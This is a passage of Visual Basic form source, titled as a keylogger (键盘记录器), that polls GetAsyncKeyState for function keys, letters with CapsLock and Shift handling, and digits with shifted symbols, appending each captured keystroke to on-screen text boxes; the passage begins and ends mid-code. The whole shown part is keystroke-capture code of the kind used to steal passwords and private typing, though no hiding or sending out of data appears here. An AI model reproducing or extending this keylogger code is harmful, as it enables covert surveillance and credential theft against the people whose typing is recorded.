frm_main.frm

键盘记录器

End If
'F5键
MyKey = GetAsyncKeyState(vbKeyF5)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F5}"
End If
'F6键
MyKey = GetAsyncKeyState(vbKeyF6)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F6}"
End If
'F7键
MyKey = GetAsyncKeyState(vbKeyF7)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F7}"
End If
'F8键
MyKey = GetAsyncKeyState(vbKeyF8)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F8}"
End If
'F9键
MyKey = GetAsyncKeyState(vbKeyF9)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F9}"
End If
'F10键
MyKey = GetAsyncKeyState(vbKeyF10)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F10}"
End If
'F11键
MyKey = GetAsyncKeyState(vbKeyF11)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F11}"
End If
'F12键
MyKey = GetAsyncKeyState(vbKeyF12)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F12}"
End If
'<<<<<<<<<<<<<<<<<<<<编辑字母和数字键检测>>>>>>>>>>>>>>>显示在Rtxt_MyText
'>>>>>>>>>字母键
'A键
MyKey = GetAsyncKeyState(vbKeyA)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "A"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "a"
End If
End If
'B键
MyKey = GetAsyncKeyState(vbKeyB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "B"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "b"
End If
End If
'C键
MyKey = GetAsyncKeyState(vbKeyC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "C"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "c"
End If
End If
'D键
MyKey = GetAsyncKeyState(vbKeyD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "D"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "d"
End If
End If
'E键
MyKey = GetAsyncKeyState(vbKeyE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "E"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "e"
End If
End If
'F键
MyKey = GetAsyncKeyState(vbKeyF)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "F"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "f"
End If
End If
'G键
MyKey = GetAsyncKeyState(vbKeyG)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "G"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "g"
End If
End If
'H键
MyKey = GetAsyncKeyState(vbKeyH)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "H"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "h"
End If
End If
'I键
MyKey = GetAsyncKeyState(vbKeyI)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "I"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "i"
End If
End If
'J键
MyKey = GetAsyncKeyState(vbKeyJ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "J"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "j"
End If
End If
'K键
MyKey = GetAsyncKeyState(vbKeyK)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "K"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "k"
End If
End If
'L键
MyKey = GetAsyncKeyState(vbKeyL)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "L"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "l"
End If
End If
'M键
MyKey = GetAsyncKeyState(vbKeyM)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "M"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "m"
End If
End If
'N键
MyKey = GetAsyncKeyState(vbKeyN)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "N"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "n"
End If
End If
'O键
MyKey = GetAsyncKeyState(vbKeyO)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "O"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "o"
End If
End If
'P键
MyKey = GetAsyncKeyState(vbKeyP)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "P"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "p"
End If
End If
'Q键
MyKey = GetAsyncKeyState(vbKeyQ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Q"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "q"
End If
End If
'R键
MyKey = GetAsyncKeyState(vbKeyR)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "R"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "r"
End If
End If
'S键
MyKey = GetAsyncKeyState(vbKeyS)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "S"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "s"
End If
End If
'T键
MyKey = GetAsyncKeyState(vbKeyT)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "T"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "t"
End If
End If
'U键
MyKey = GetAsyncKeyState(vbKeyU)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "U"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "u"
End If
End If
'V键
MyKey = GetAsyncKeyState(vbKeyV)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "V"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "v"
End If
End If
'W键
MyKey = GetAsyncKeyState(vbKeyW)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "W"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "w"
End If
End If
'X键
MyKey = GetAsyncKeyState(vbKeyX)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "X"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "x"
End If
End If
'Y键
MyKey = GetAsyncKeyState(vbKeyY)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Y"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "y"
End If
End If
'Z键
MyKey = GetAsyncKeyState(vbKeyZ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Z"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "z"
End If
End If
'>>>>>>>>数字键及特殊符号
'1键
MyKey = GetAsyncKeyState(vbKey1)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "1"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "!"
  End If
End If
'2键
MyKey = GetAsyncKeyState(vbKey2)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "2"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "@"
  End If
End If
'3键
MyKey = GetAsyncKeyState(vbKey3)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "3"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "#"
  End If
End If
'4键
MyKey = GetAsyncKeyState(vbKey4)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "4"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "$"
  End If
End If
'5键
MyKey = GetAsyncKeyState(vbKey5)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "5"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "%"
  End If
End If
'6键
MyKey = GetAsyncKeyState(vbKey6)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "6"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "^"
  End If
End If
'7键
MyKey = GetAsyncKeyState(vbKey7)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "7"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "&"
  End If
End If
'8键
MyKey = GetAsyncKeyState(vbKey8)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "8"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "*"
  End If
End If
'9键
MyKey = GetAsyncKeyState(vbKey9)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "9"